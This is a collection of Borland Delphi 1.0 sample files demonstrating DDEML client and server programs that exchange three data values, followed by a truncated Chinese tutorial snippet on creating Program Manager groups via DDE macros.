{ *** BEGIN CODE FOR DDEMLCLU.PAS ***
}
{***************************************************}
{
}
{   Delphi 1.0 DDEML Demonstration
Program         }
{
Copyright (c) 1996 by Borland International
}
{
}
{***************************************************}

{ This is a sample application demonstrating the use of the DDEML APIs in

a client application. It uses the DataEntry server application that
is part of this demo in order to maintain a display of the entered data
as a bar graph.

You must run the server application first (in DDEMLSRV.PAS), and then
run this client. If the server is not running, this application will
fail trying to connect.

The interface to the server is defined by the list of names (Service,
Topic, and Items) in the separate unit called DataEntry (DATAENTR.TPU).

The server makes the Items available in cf_Text format; they are con-
verted and stored locally as integers.
}

unit Ddemlclu;

interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, VBXCtrl, ExtCtrls, DDEML, Menus, StdCtrls;

const
NumValues = 3;

type

{ Data Structure which constitutes a sample }
TDataSample = array [1..NumValues] of Integer;
TDataString = array [0..20] of Char; { Size of Item as text }

     { Main Form }
TForm1 =
class(TForm)
MainMenu1: TMainMenu;
File1: TMenuItem;
exit1: TMenuItem;
DDE1: TMenuItem;
RequestUpdate1:
TMenuItem;
AdviseofChanges1:
TMenuItem;
PokeSomeData: TMenuItem;
N1: TMenuItem;
PaintBox1: TPaintBox;
procedure FormCreate(Sender: TObject);
procedure
FormDestroy(Sender: TObject);
procedure
RequestUpdate1Click(Sender: TObject);
procedure
FormShow(Sender: TObject);
procedure
AdviseofChanges1Click(Sender: TObject);

procedure PokeSomeDataClick(Sender: TObject);

procedure Request(HConversation: HConv);
procedure exit1Click(Sender: TObject);
procedure PaintBox1Paint(Sender: TObject);

private
{ Private declarations }
public
Inst: Longint;
CallBackPtr: ^TCallback;
ServiceHSz : HSz;
TopicHSz : HSz;
ItemHSz : array [1..NumValues] of HSz;
ConvHdl : HConv;

DataSample : TDataSample;
end;

var Form1: TForm1;

implementation

const
DataEntryName : PChar = 'DataEntry';
DataTopicName : PChar = 'SampledData';
DataItemNames : array [1..NumValues] of pChar = ('DataItem1',
'DataItem2',
'DataItem3');
{$R *.DFM}

{ Local Function: CallBack Procedure for DDEML }

function CallbackProc(CallType, Fmt: Word; Conv: HConv; hsz1, hsz2: HSZ;
Data: HDDEData; Data1, Data2: Longint): HDDEData; export;

begin
CallbackProc := 0; { See if proved otherwise }

case CallType of
xtyp_Register:
begin
{ Nothing ... Just return 0 }
end;
xtyp_Unregister:
begin
{ Nothing ... Just return 0 }
end;
xtyp_xAct_Complete:
begin
{ Nothing ... Just return 0 }
end;
xtyp_Request, Xtyp_AdvData:
begin
Form1.Request(Conv);
CallbackProc := dde_FAck;
end;
xtyp_Disconnect:

begin
ShowMessage('Disconnected!');
Form1.Close;
end;
end;
end;

{ Posts a DDE request to obtain cf_Text data from the server. Requests
the data for all fields of the DataSample, and invalidates the window
to cause the new data to be displayed. Obtains the data from the
Server synchronously, using DdeClientTransaction.
}
procedure TForm1.Request(HConversation: HConv);
var
hDdeTemp : HDDEData;
DataStr : TDataString;
Err, I : Integer;

begin
if HConversation <> 0 then begin
for I := Low(ItemHSz) to High(ItemHSz) do begin
hDdeTemp := DdeClientTransaction(nil, 0, HConversation, ItemHSz[I],
cf_Text, xtyp_Request, 0, nil);
if hDdeTemp <> 0 then begin
DdeGetData(hDdeTemp, @DataStr, SizeOf(DataStr), 0);
Val(DataStr, DataSample[I], Err);
end; { if }
end; { for }
Paintbox1.Refresh; { Redisplay the Screen }
end; { if }
end;

procedure TForm1.FormCreate(Sender: TObject);

var
I : Integer;
{ Constructs an instance of the DDE Client Window. Constructs the
window using the inherited constructor, then initializes the instance
data.
}
begin
Inst := 0; { Must be zero for first call to DdeInitialize }
CallBackPtr:= nil; { MakeProcInstance is called in SetupWindow }
ConvHdl := 0;
ServiceHSz := 0;
TopicHSz := 0;
for I := Low(DataSample) to High(DataSample) do begin
ItemHSz[I] := 0;
DataSample[I] := 0;

end;
end;

procedure TForm1.FormDestroy(Sender: TObject);
{ Destroys an instance of the Client window. Frees the DDE string
handles, and frees the callback proc instance if they exist. Also
calls DdeUninitialize to terminate the conversation. Then calls on
the ancestral destructor to finish the job.
}
var I : Integer;
begin
if ServiceHSz <> 0 then
DdeFreeStringHandle(Inst, ServiceHSz);
if TopicHSz <> 0 then
DdeFreeStringHandle(Inst, TopicHSz);

for I := Low(ItemHSz) to High(ItemHSz) do
if ItemHSz[I] <> 0 then
DdeFreeStringHandle(Inst, ItemHSz[I]);

if Inst <> 0 then
DdeUninitialize(Inst); { Ignore the return value }

if CallBackPtr <> nil then
FreeProcInstance(CallBackPtr);
end;

procedure TForm1.RequestUpdate1Click(Sender: TObject);
begin
{ Generate a DDE Request in response to the DDE | Request menu selection.}

Request(ConvHdl);
end;

procedure TForm1.FormShow(Sender: TObject);

{ Completes the initialization of the DDE Server Window. Performs those
actions which require a valid window. Initializes the use of the DDEML.
}
var
I : Integer;
InitOK: Boolean;
begin
CallBackPtr := MakeProcInstance(@CallBackProc, HInstance);

{ Initialize the DDE and setup the callback function. If server is not
present, call will fail.
}
if CallBackPtr <> nil then begin
if DdeInitialize(Inst, TCallback(CallBackPtr), AppCmd_ClientOnly,

0) = dmlErr_No_Error then begin
ServiceHSz:= DdeCreateStringHandle(Inst, DataEntryName, cp_WinAnsi);
TopicHSz := DdeCreateStringHandle(Inst, DataTopicName, cp_WinAnsi);
InitOK := True;
{ for I := Low(DataItemNames) to High(DataItemNames) do begin }
for I := 1 to NumValues do begin
ItemHSz[I]:= DdeCreateStringHandle(Inst, DataItemNames[I],
cp_WinAnsi);
InitOK := InitOK and (ItemHSz[I] <> 0);
end;

if (ServiceHSz <> 0) and (TopicHSz <> 0) and InitOK then begin
ConvHdl := DdeConnect(Inst, ServiceHSz, TopicHSz, nil);
if ConvHdl = 0 then begin
ShowMessage('Can not start Conversation!');
Close;
end
end
else begin
ShowMessage('Can not create Strings!');
Close;
end
end
else begin
ShowMessage('Can not Initialie!');
Close;
end;
end;
end;

procedure TForm1.AdviseofChanges1Click(Sender: TObject);

{ Toggles the state of the DDE Advise setting in response to the
DDE | Advise menu selection. When this is selected, all three
Items are set for Advising.
}
var
I: Integer;
TransType: Word;
TempResult: Longint;
begin
with TMenuITem(Sender) do begin
Checked := not Checked;
if Checked then
TransType:= (xtyp_AdvStart or xtypf_AckReq)
else
TransType:= xtyp_AdvStop;
end; { with }

for I := Low(ItemHSz) to High(ItemHSz) do

if DdeClientTransaction(nil, 0, ConvHdl, ItemHSz[I], cf_Text,
TransType, 1000, @TempResult) = 0 then
ShowMessage('Can not perform Advise Transaction');

if TransType and xtyp_AdvStart <> 0 then Request(ConvHdl);
end;

procedure TForm1.PokeSomeDataClick(Sender: TObject);
{ Generates a DDE Poke transaction in response to the DDE | Poke
menu selection. Requests a value from the user that will be
poked into DataItem1 as an illustration of the Poke function.

}
var
DataStr: pChar;
S: String;
begin
S := '0';
if InputQuery('PokeData', 'Enter Value to Poke', S) then begin
S := S + #0;
DataStr := @S[1];
DdeClientTransaction(DataStr, StrLen(DataStr) + 1, ConvHdl,
ItemHSz[1], cf_Text, xtyp_Poke, 1000, nil);
Request(ConvHdl);
end;
end;

procedure TForm1.exit1Click(Sender: TObject);
begin
close;
end;

procedure TForm1.PaintBox1Paint(Sender: TObject);
{ Repaints the window on request. Plots a graph of the current sales

volume.
}
const
LMarg = 30; { Left Margin of graph }
var
I,
Norm: Integer;
Wd: Integer;
Step : Integer;

ARect: TRect;

begin
Norm := 0;
for I := Low(DataSample) to High(DataSample) do begin
if abs(DataSample[I]) > Norm then
Norm := abs(DataSample[I]);
end; { for }

if Norm = 0 then Norm := 1; { Just in case we have all zeros }

with TPaintBox(Sender).Canvas do begin
{ Paint Background }
Brush.color := clWhite;

FillRect(ClipRect);

{ Draw Axis }
MoveTo(0, ClipRect.Bottom div 2);
LineTo(ClipRect.Right, ClipRect.Bottom div 2);

MoveTo(LMarg, 0);
LineTo(LMarg, ClipRect.Bottom);

{ Print Left MArgin Text }
TextOut(0,0, IntToStr(Norm));
TextOut(0, ClipRect.Bottom div 2, '0');
TextOut(0, ClipRect.Bottom + Font.Height, IntToStr(-Norm));

TextOut(0, ClipRect.Bottom div 2, '0');
TextOut(0, ClipRect.Bottom div 2, '0');

TextOut(0, ClipRect.Bottom div 2, '0');
{ Print X Axis Text }

{ Now draw the bars based on that Normalized value. Compute the
width of the bars so that all will fit in the window, and
compute an inter-bar space that is approximately 20% of the
width of a bar.
}
{ SelectObject(PaintDC, CreateSolidBrush(RGB(255, 0, 0)));
SetBkMode(PaintDC, Transparent);
}
ARect := ClipRect;
Wd := (ARect.Right - LMarg) div NumValues;

     Step := Wd div 5;
Wd  := Wd - Step;
with ARect do
begin
Left := LMarg + (Step div
2);
Top := ClipRect.Bottom div
2;
end; { with }

        { Display Bars and X-Axis Text
}
For i := Low(DataSample) to High(DataSample) do
begin
with ARect do
begin
Right := Left +
Wd;
Bottom:= Top - Round((Top-5) * (DataSample[I] /
Norm));
end; { with
}
{
Fill Bar }
Brush.color  := clFuchsia;

FillRect(ARect);
{ Display Text - Horizontal Axis }
Brush.color := clWhite;
TextOut(ARect.Left, ClipRect.Bottom div 2 - Font.Height,
StrPas(DataItemNames[i]));
with ARect do
Left := Left + Wd + Step;
end; { for }
end; { with }
end;
end.{ *** END CODE FOR DDEMLCLU.PAS *** }

{ *** BEGIN CODE FOR DDEMLSVR.DPR *** }
program Ddemlsvr;

uses
Forms,
Ddesvru in 'DDESVRU.PAS' {Form1},

Ddedlg in '\DELPHI\BIN\DDEDLG.PAS' {DataEntry};

{$R *.RES}

begin
Application.CreateForm(TForm1, Form1);
Application.CreateForm(TDataEntry, DataEntry);
Application.Run;
end.
{ *** END CODE FOR DDEMLSVR.DPR *** }

{ *** BEGIN CODE FOR DDESVRU.DFM *** }
object Form1: TForm1
Left
= 712
Top = 98
Width = 307
Height = 162
Caption = 'DDEML Demo, Serve Application'
Color = clWhite
Font.Color = clWindowText
Font.Height = -13
Font.Name =
'System'

Font.Style = []
Menu = MainMenu1
PixelsPerInch = 96
OnCreate = FormCreate
OnDestroy = FormDestroy
OnShow = FormShow
TextHeight = 16
object Label1: TLabel
Left = 0
Top = 0
Width = 99
Height = 16
Caption = 'Current Values:'
end
object Label2: TLabel
Left = 16
Top = 24
Width = 74
Height = 16
Caption = 'Data Item1:'
end
object Label3: TLabel
Left = 16
Top = 40
Width = 74
Height = 16

Caption = 'Data Item2:'
end
object Label4: TLabel
Left = 16
Top = 56
Width = 74
Height = 16
Caption = 'Data Item3:'
end
object Label5: TLabel
Left = 0
Top = 88
Width = 265
Height = 16
Caption = 'Select Data|Enter Data to change values.'
end
object Label6: TLabel
Left = 96
Top = 24
Width = 8
Height = 16
Caption = '0'
end
object Label7: TLabel
Left = 96
Top = 40

Width = 8
Height = 16
Caption = '0'
end
object Label8: TLabel
Left = 96
Top = 56
Width = 8
Height = 16
Caption = '0'
end
object MainMenu1: TMainMenu
Left = 352
Top = 24
object File1: TMenuItem
Caption = '&File'
object Exit1: TMenuItem
Caption = '&Exit'
OnClick = Exit1Click
end
end
object Data1: TMenuItem
Caption = '&Data'
object EnterData1: TMenuItem

Caption = '&Enter Data'
OnClick = EnterData1Click
end
object Clear1: TMenuItem
Caption = '&Clear'
OnClick = Clear1Click
end
end
end
end
{ *** END CODE FOR DDESVRU.DFM *** }

{ *** BEGIN CODE FOR DDESVRU.PAS ***
}
{***************************************************}
{
}
{   Delphi 1.0 DDEML Demonstration
Program          }
{
Copyright (c) 1996 by Borland International     }

{
}
{***************************************************}

{ This sample application uses the DDEML library in the server side of a
cooperative application. This server is a simple data-entry application
which allows an operator to enter three data items, which are made
available through DDE to interested clients.

This server makes its service available under the following names:

Service: 'DataEntry'

Topic : 'SampledData'
Items : 'DataItem1', 'DataItem2', 'DataItem3'

Conceivably, other topics under this service could be defined. Things
such as historical data, information about the sampling, and so on
might make useful topics.

You must run this server BEFORE running the client (DDEMLCLI.PAS), or
the client will fail the connection.

The interface to this server is defined by the list of names (Service,
Topic, and Items) in the separate unit called DataEntry (DATAENTR.TPU).

The server makes the Items available in cf_Text format; they can be
converted and stored locally as integers by the client.
}
unit Ddesvru;

interface

uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls, Menus,

DDEML, { DDE APi }
ShellApi;

const
NumValues = 3;
DataItemNames : array [1..NumValues] of PChar = ('DataItem1',
'DataItem2',
'DataItem3');

type
TDataString = array [0..20] of Char;     {
Size of Item as text }
TDataSample = array [1..NumValues] of
Integer;

{type
{ Data Structure which constitutes a sample }
{
TDataSample = array [1..NumValues] of Integer;
{  TDataString = array
[0..20] of Char;     { Size of Item as text }

const
DataEntryName: PChar = 'DataEntry';
DataTopicName: PChar = 'SampledData';

type
TForm1 = class(TForm)
MainMenu1: TMainMenu;
File1: TMenuItem;
Exit1: TMenuItem;

    Data1: TMenuItem;
EnterData1:
TMenuItem;
Clear1: TMenuItem;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
Label6: TLabel;
Label7: TLabel;
Label8: TLabel;
procedure Exit1Click(Sender: TObject);

    function MatchTopicAndService(Topic, Service: HSz):
Boolean;
function MatchTopicAndItem(Topic, Item: HSz):
Integer;
function WildConnect(Topic, Service: HSz;
ClipFmt: Word): HDDEData;

    function AcceptPoke(Item: HSz; ClipFmt:
Word;
Data: HDDEData):
Boolean;
function DataRequested(TransType: Word; ItemNum:
Integer;
ClipFmt: Word):
HDDEData;
procedure FormCreate(Sender:
TObject);
procedure FormDestroy(Sender:
TObject);
procedure FormShow(Sender:
TObject);
procedure EnterData1Click(Sender:
TObject);
procedure Clear1Click(Sender: TObject);

private
Inst : Longint;
CallBack : TCallback;
ServiceHSz : HSz;

    TopicHSz   : HSz;
ItemHSz    : array [1..NumValues] of HSz;
ConvHdl    : HConv;
Advising   :
array [1..NumValues] of Boolean;

DataSample : TDataSample;

public
{ Public declarations }
end;

var
Form1: TForm1;

implementation
uses DDEDlg; { DataEntry Form }

{$R *.DFM}

procedure TForm1.Exit1Click(Sender: TObject);
begin
Close;
end;
{ Initialized globals }

const
DemoTitle : PChar = 'DDEML Demo, Server Application';

MaxAdvisories = 100;
NumAdvLoops : Integer = 0;

{ Local Function: CallBack Procedure for DDEML }

{ This callback procedure responds to all transactions generated by the
DDEML. The target Window object is obtained from the stored global,
and the appropriate methods within that objects are used to respond
to the given transaction, as indicated by the CallType parameter.
}
function CallbackProc(CallType, Fmt: Word; Conv: HConv; HSz1, HSz2: HSZ;
Data: HDDEData; Data1, Data2: Longint): HDDEData; export;

var
ItemNum : Integer;
begin
CallbackProc := 0; { See if proved otherwise }

case CallType of

xtyp_WildConnect:
CallbackProc := Form1.WildConnect(HSz1, HSz2, Fmt);

xtyp_Connect:
if Conv = 0 then
begin
if Form1.MatchTopicAndService(HSz1, HSz2) then
CallbackProc := 1; { Connected! }
end;
{ When a connection is confirmed, record the conversation handle as the
window's own.
}
xtyp_Connect_Confirm:

Form1.ConvHdl := Conv;

{ The client has requested data, either as a direct request or
in response to an advisory. Return the current state of the
data.
}
xtyp_AdvReq, xtyp_Request:
begin
ItemNum := Form1.MatchTopicAndItem(HSz1, HSz2);
if ItemNum > 0 then
CallbackProc := Form1.DataRequested(CallType, ItemNum, Fmt);
end;

{ Respond to Poke requests ... this demo only allows Pokes of DataItem1.
Return dde_FAck to acknowledge the receipt, 0 otherwise.

}
xtyp_Poke:
begin
if Form1.AcceptPoke(HSz2, Fmt, Data) then
CallbackProc := dde_FAck;
end;

{ The client has requested the start of an advisory loop. Note
that we assume a "hot" loop. Set the Advising flag to indicate
the open loop, which will be checked whenever the data is changed.
}
xtyp_AdvStart:
begin
ItemNum := Form1.MatchTopicAndItem(HSz1, HSz2);
if ItemNum > 0 then begin
if NumAdvLoops < MaxAdvisories then begin { Arbitrary number }

Inc(NumAdvLoops);
Form1.Advising[ItemNum] :=
True;
CallbackProc := 1;
end;
end;
end;

{ The client has requested the advisory loop to terminate.
}
xtyp_AdvStop:
begin
ItemNum := Form1.MatchTopicAndItem(HSz1, HSz2);
if ItemNum > 0 then
begin
if NumAdvLoops > 0 then
begin
Dec(NumAdvLoops);
if NumAdvLoops = 0 then
Form1.Advising[ItemNum] := False;

CallbackProc := 1;
end;
end;
end;
end;  { Case CallType
}

end;

{ Returns True if the given Topic and Service match those supported
by this application. False otherwise.
}
function TForm1.MatchTopicAndService(Topic, Service: HSz): Boolean;
begin
Result := False;
if DdeCmpStringHandles(TopicHSz, Topic) = 0 then
if DdeCmpStringHandles(ServiceHSz, Service) = 0 then
Result := True;
end;

{ Determines if the given Topic and Item match one supported by this

application. Returns the Item Number of the supported item (in the
range 1..NumValues) if one is found, and zero if no match.
}
function TForm1.MatchTopicAndItem(Topic, Item: HSz): Integer;
var
I : Integer;
begin
Result := 0;
if DdeCmpStringHandles(TopicHSz, Topic) = 0 then
for I := 1 to NumValues do
if DdeCmpStringHandles(ItemHSz[I], Item) = 0 then
Result := I;
end;

{ Responds to wildcard connect requests. These requests are generated

whenever a client tries to connect to a server with either service or
topic name set to 0. If a server detects a wild card match, it
returns a handle to an array of THSZPair's containing the matching
supported Service and Topic.
}
function TForm1.WildConnect(Topic, Service: HSz; ClipFmt: Word): HDDEData;
var
TempPairs: array [0..1] of THSZPair;
Matched : Boolean;
begin
TempPairs[0].hszSvc := ServiceHSz;
TempPairs[0].hszTopic:= TopicHSz;
TempPairs[1].hszSvc := 0; { 0-terminate the list }

TempPairs[1].hszTopic:= 0;

Matched := False;

if (Topic= 0) and (Service = 0) then
Matched := True { Complete wildcard }
else
if (Topic = 0) and (DdeCmpStringHandles(Service, ServiceHSz) = 0) then
Matched := True
else
if (DdeCmpStringHandles(Topic, TopicHSz) = 0) and (Service = 0) then
Matched := True;

if Matched then
WildConnect := DdeCreateDataHandle(Inst, @TempPairs, SizeOf(TempPairs),
0, 0, ClipFmt, 0)

else
WildConnect := 0;
end;

{ Accepts and acts upon Poke requests from the Client. For this
demonstration, allows only the value of DataItem1 to be changed by a
Poke.
}
function TForm1.AcceptPoke(Item: HSz; ClipFmt: Word;
Data: HDDEData): Boolean;
var
DataStr : TDataString;
Err : Integer;
TempSample: Integer;
begin
if (DdeCmpStringHandles(Item, ItemHSz[1]) = 0) and
(ClipFmt = cf_Text) then
begin
DdeGetData(Data, @DataStr, SizeOf(DataStr), 0);

Val(DataStr, TempSample, Err);

if IntToStr(TempSample) <> Label6.Caption then begin
Label6.Caption := IntToStr(TempSample);
DataSample[1] := TempSample;
if Advising[1] then
DdePostAdvise(Inst, TopicHSz, ItemHSz[1]);
end;
AcceptPoke := True;
end
else
AcceptPoke := False;
end;

{ Returns the data requested by the given TransType and ClipFmt values.
This could happen either in response to either an xtyp_Request or an

xtyp_AdvReq. The ItemNum parameter indicates which of the supported
items (in the range 1..NumValues) was requested (note that this method
assumes that the caller has already established validity and ID of the
requested item using MatchTopicAndItem). The corresponding data from
the DataSample instance variable is converted to text and returned.
}
function TForm1.DataRequested(TransType: Word; ItemNum: Integer;
ClipFmt: Word): HDDEData;
var ItemStr: TDataString; { Defined in DataEntry.TPU }

begin
if ClipFmt = cf_Text then
begin
Str(DataSample[ItemNum], ItemStr);
DataRequested := DdeCreateDataHandle(Inst, @ItemStr,
StrLen(ItemStr) + 1, 0, ItemHSz[ItemNum], ClipFmt, 0);
end
else
DataRequested := 0;
end;

{ Constructs an instance of the DDE Server Window. Calls on the
inherited constructor, then sets up this objects own instandce
data.
}
procedure TForm1.FormCreate(Sender: TObject);
var I : Integer;
begin
Inst := 0; { Must be zero for first call to DdeInitialize }

@CallBack := nil; { MakeProcInstance is called in SetupWindow }

  for I := 1 to NumValues do begin
DataSample[I]
:= 0;
Advising[I]  := False;
end; { for }

end;

{ Destroys an instance of the DDE Server Window. Checks to see if the
Callback Proc Instance had been created, and frees it if so. Also
calls DdeUninitialize to terminate the conversation. Then just calls
on the ancestral destructor to finish.
}
procedure TForm1.FormDestroy(Sender: TObject);

var
I : Integer;
begin
if ServiceHSz <> 0 then
DdeFreeStringHandle(Inst, ServiceHSz);
if TopicHSz <> 0 then
DdeFreeStringHandle(Inst, TopicHSz);
for I := 1 to NumValues do
if ItemHSz[I] <> 0 then
DdeFreeStringHandle(Inst, ItemHSz[I]);

if Inst <> 0 then
DdeUninitialize(Inst); { Ignore the return value }

if @CallBack <> nil then
FreeProcInstance(@CallBack);
end;

procedure TForm1.FormShow(Sender: TObject);
var
I : Integer;

{ Completes the initialization of the DDE Server Window. Initializes
the use of the DDEML by registering the services provided by this
application. Recall that the actual names used to register are
defined in a separate unit (DataEntry), so that they can be used
by the client as well.
}
begin
@CallBack:= MakeProcInstance(@CallBackProc, HInstance);

if DdeInitialize(Inst, CallBack, 0, 0) = dmlErr_No_Error then begin
ServiceHSz:= DdeCreateStringHandle(Inst, DataEntryName, cp_WinAnsi);

    TopicHSz  := DdeCreateStringHandle(Inst,
DataTopicName, cp_WinAnsi);
for I := 1 to NumValues
do
ItemHSz[I] := DdeCreateStringHandle(Inst,
DataItemNames[I],
cp_WinAnsi);

    if DdeNameService(Inst, ServiceHSz, 0, dns_Register) = 0
then
ShowMessage('Registration
failed.');
end;
end;

procedure TForm1.EnterData1Click(Sender: TObject);
{ Activates the data-entry dialog, and updates the stored
data when complete.
}
var
I: Integer;

begin
if DataEntry.ShowModal = mrOk then begin
with DataEntry do begin
Label6.Caption := S1;
Label7.Caption := S2;
Label8.Caption := S3;
DataSample[1] := StrToInt(S1);
DataSample[2] := StrToInt(S2);
DataSample[3] := StrToInt(S3);
end; { with }

for I := 1 to NumValues do
if Advising[I] then
DdePostAdvise(Inst, TopicHSz, ItemHSz[I]);
end; { if }
end;

procedure TForm1.Clear1Click(Sender: TObject);

{ Clears the current data.
}
var
I: Integer;

begin
for I := 1 to NumValues do begin
DataSample[I] := 0;
if Advising[I] then
DdePostAdvise(Inst, TopicHSz, ItemHSz[I]);
end;

Label6.Caption := '0';
Label7.Caption := '0';
Label8.Caption := '0';
end;

end.
{ *** END CODE FOR DDESVRU.PAS *** }

{ *** BEGIN CODE FOR DDEDLG.DFM *** }
object DataEntry: TDataEntry
Left = 488
Top = 132
ActiveControl = OKBtn
BorderStyle = bsDialog

Caption = 'Data Entry'
ClientHeight = 264
ClientWidth = 199
Font.Color = clBlack
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = [fsBold]
PixelsPerInch = 96
Position = poScreenCenter
OnShow = FormShow
TextHeight = 13
object Bevel1: TBevel
Left = 8
Top = 8
Width = 177
Height = 201
Shape = bsFrame
IsControl = True
end
object OKBtn: TBitBtn
Left = 16
Top = 216
Width = 69
Height = 39

Caption = '&OK'
ModalResult = 1
TabOrder = 3
OnClick = OKBtnClick
Glyph.Data = {
BE060000424DBE06000000000000360400002800000024000000120000000100
0800000000008802000000000000000000000000000000000000000000000000
80000080000000808000800000008000800080800000C0C0C000C0DCC000F0CA
A600000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000

0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000

0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000

0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000

0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000F0FBFF00A4A0A000808080000000
FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF00030303030303

0303030303030303030303030303030303030303030303030303030303030303
03030303030303030303030303030303030303030303FF030303030303030303
03030303030303040403030303030303030303030303030303F8F8FF03030303
03030303030303030303040202040303030303030303030303030303F80303F8
FF030303030303030303030303040202020204030303030303030303030303F8
03030303F8FF0303030303030303030304020202020202040303030303030303
0303F8030303030303F8FF030303030303030304020202FA0202020204030303

0303030303F8FF0303F8FF030303F8FF03030303030303020202FA03FA020202
040303030303030303F8FF03F803F8FF0303F8FF03030303030303FA02FA0303
03FA0202020403030303030303F8FFF8030303F8FF0303F8FF03030303030303
FA0303030303FA0202020403030303030303F80303030303F8FF0303F8FF0303
0303030303030303030303FA0202020403030303030303030303030303F8FF03
03F8FF03030303030303030303030303FA020202040303030303030303030303
0303F8FF0303F8FF03030303030303030303030303FA02020204030303030303

03030303030303F8FF0303F8FF03030303030303030303030303FA0202020403
030303030303030303030303F8FF0303F8FF03030303030303030303030303FA
0202040303030303030303030303030303F8FF03F8FF03030303030303030303
03030303FA0202030303030303030303030303030303F8FFF803030303030303
030303030303030303FA0303030303030303030303030303030303F803030303
0303030303030303030303030303030303030303030303030303030303030303
0303}
Margin = 2
NumGlyphs = 2

Spacing = -1
IsControl = True
end
object CancelBtn: TBitBtn
Left = 108
Top = 216
Width = 69
Height = 39
Caption = '&Cancel'
TabOrder = 4
Kind = bkCancel
Margin = 2
Spacing = -1
IsControl = True
end
object Panel2: TPanel
Left = 16
Top = 88
Width = 153
Height = 49
BevelInner = bvLowered
BevelOuter = bvNone
TabOrder = 1
object Label1: TLabel
Left = 24
Top = 8

Width = 5
Height = 13
end
object Label2: TLabel
Left = 8
Top = 8
Width = 48
Height = 13
Caption = 'Value 2:'
end
object Edit2: TEdit
Left = 8
Top = 24
Width = 121
Height = 20
MaxLength = 10
TabOrder = 0
Text = '0'
end
end
object Panel1: TPanel
Left = 16
Top = 16
Width = 153
Height = 49
BevelInner = bvLowered
BevelOuter = bvNone

TabOrder = 0
object Label4: TLabel
Left = 8
Top = 8
Width = 48
Height = 13
Caption = 'Value 1:'
end
object Edit1: TEdit
Left = 8
Top = 24
Width = 121
Height = 20
MaxLength = 10
TabOrder = 0
Text = '0'
end
end
object Panel3: TPanel
Left = 16
Top = 144
Width = 153
Height = 49
BevelInner = bvLowered
BevelOuter = bvNone
TabOrder = 2

object Label6: TLabel
Left = 8
Top = 8
Width = 48
Height = 13
Caption = 'Value 3:'
end
object Edit3: TEdit
Left = 8
Top = 24
Width = 121
Height = 20
MaxLength = 10
TabOrder = 0
Text = '0'
end
end
end
{ *** END CODE FOR DDEDLG.DFM *** }

{ *** BEGIN CODE FOR DDEDLG.PAS ***
}
{***************************************************}
{
}

{   Delphi 1.0 DDEML Demonstration
Program         }
{
Copyright (c) 1996 by Borland International
}
{
}
{***************************************************}

{ This unit defines the interface to the DataEntry DDE
server (DDEMLSRV.PAS). It defines the Service, Topic,
and Item names supported by the Server, and also defines
a data structure which may be used by the Client to
hold the sampled data locally.

The Data Entry Server makes its data samples available
in text (cf_Text) form as three separate Topics. Clients
may convert these into integer form for use with the
data structure defined here.
}
unit Ddedlg;

interface

uses WinTypes, WinProcs, Classes, Graphics, Forms, Controls, Buttons,
StdCtrls, Mask, ExtCtrls;

type
TDataEntry = class(TForm)
OKBtn: TBitBtn;
CancelBtn: TBitBtn;
Bevel1: TBevel;
Panel2: TPanel;
Label1: TLabel;

Label2: TLabel;
Panel1: TPanel;
Label4: TLabel;
Panel3: TPanel;
Label6: TLabel;
Edit1: TEdit;
Edit2: TEdit;
Edit3: TEdit;
procedure OKBtnClick(Sender: TObject);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
S1, S2, S3: String;
{ Public declarations }
end;

var
DataEntry: TDataEntry;

implementation

{$R *.DFM}

procedure TDataEntry.OKBtnClick(Sender: TObject);

begin
S1 := Edit1.Text;
S2 :=
Edit2.Text;
S3 := Edit3.Text;
end;

procedure TDataEntry.FormShow(Sender: TObject);
begin
Edit1.Text := '0';
Edit2.Text := '0';
Edit3.Text
:= '0';
Edit1.SetFocus;
end;

end.


用DDE管理程序组

1. File | New Project
2. 在 Form 中安置一个 TDDEClientConv 控件
3. 对於 DdeClientConv1, 在 Object Inspector 中点一下 DdeService 这个属性,
然后点一下在其右方'...'的按钮, 然后在 DdeService 这栏填入 ProgMan，在
DdeTopic 这栏填入 Progman 。
4. 对于 DdeClientConv1 将 ConnectMode 设为 ddeManual
5. 在 Form1 中安排一个 TButton
6. 在 Button1 的 OnClick 事件:
procedure TForm1.Button1Click(Sender: TObject);
var
sMacro: String;
szMacro: Array[0..254] of Char;
sGroupDesc, sGroupName: String;
sProgDesc: String;
sProgIcon: String;
begin
// 打开对话通路
if not DdeClientConv1.OpenLink then begin
ShowMessage('无法建立 DDE 连结');
Exit;
end;
// 建立组群
sGroupDesc := '纯测试的 Group';
sGroupName := 'Test';
// 组成宏指令
sMacro := '[CreateGroup(' + sGroupDesc + ',' + sGroupName + ')]';
StrPCopy(szMacro, sMacro); // 转成 Null-Term. 字串
DdeClientConv1.ExecuteMacro(szMacro, False); // 执行宏指令
// 建立 Icon 图像
sProgIcon := 'c:\windows\notepad.exe';
sProgDesc := '记事本';
sMacro := '[AddItem(' + sProgIcon + ',' + sProgDesc + ')]';
